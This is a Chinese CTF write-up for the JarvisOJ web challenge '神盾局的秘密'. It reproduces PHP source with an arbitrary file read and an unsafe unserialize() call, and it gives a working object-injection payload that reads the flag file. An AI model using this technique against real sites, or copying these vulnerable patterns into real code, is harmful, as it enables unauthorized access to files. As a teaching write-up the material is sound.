JarvisOJ WEB 神盾局的秘密

知识点

查看源码

0x01

查看html,发现图片的加载方式明显存在猫腻:
JarvisOJ WEB 神盾局的秘密_第1张图片
c2hpZWxkLmpwZw==base64解码后是shield.jpg,将其换成index.php的base64编码aW5kZXgucGhw,输入到url中得到index.php的源码:
JarvisOJ WEB 神盾局的秘密_第2张图片

 
	require_once('shield.php');
	$x = new Shield();
	isset($_GET['class']) && $g = $_GET['class'];
	if (!empty($g)) {
		$x = unserialize($g);
	}
	echo $x->readfile();
?>

继续将其换成shield.php的base64编码c2hpZWxkLnBocA==,得到shield.php的源码:


	//flag is in pctf.php
	class Shield {
		public $file;
		function __construct($filename = '') {
			$this -> file = $filename;
		}
		
		function readfile() {
			if (!empty($this->file) && stripos($this->file,'..')===FALSE  
			&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
				return @file_get_contents($this->file);
			}
		}
	}
?>

继续得到pctf.php(cGN0Zi5waHA=)的源码,提示File not found!
尝试得到showimg.php(c2hvd2ltZy5waHA=)的源码:


	$f = $_GET['img'];
	if (!empty($f)) {
		$f = base64_decode($f);
		if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
		&& stripos($f,'pctf')===FALSE) {
			readfile($f);
		} else {
			echo "File not found!";
		}
	}
?>

0x02

showimg.php中对文件名pctf进行了过滤,因此不可以采用上面的方法得到pctf.php的内容。shield.php中readfile却没有对文件名pctf进行过滤,再看index.php,只需要构造一个class参数,使其反序列化后是一个shield实例,且属性file是pctf.php

跑个本地脚本,得到序列化后的shield实例:


	//flag is in pctf.php
	class Shield {
		public $file;
		function __construct($filename = '') {
			$this -> file = $filename;
		}
		
		function readfile() {
			if (!empty($this->file) && stripos($this->file,'..')===FALSE  
			&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
				return @file_get_contents($this->file);
			}
		}
	}

	$x = new Shield('pctf.php');
	echo serialize($x);
?>

运行结果:

O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

payload:

/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

得到flag:
JarvisOJ WEB 神盾局的秘密_第3张图片

你可能感兴趣的:(CTF)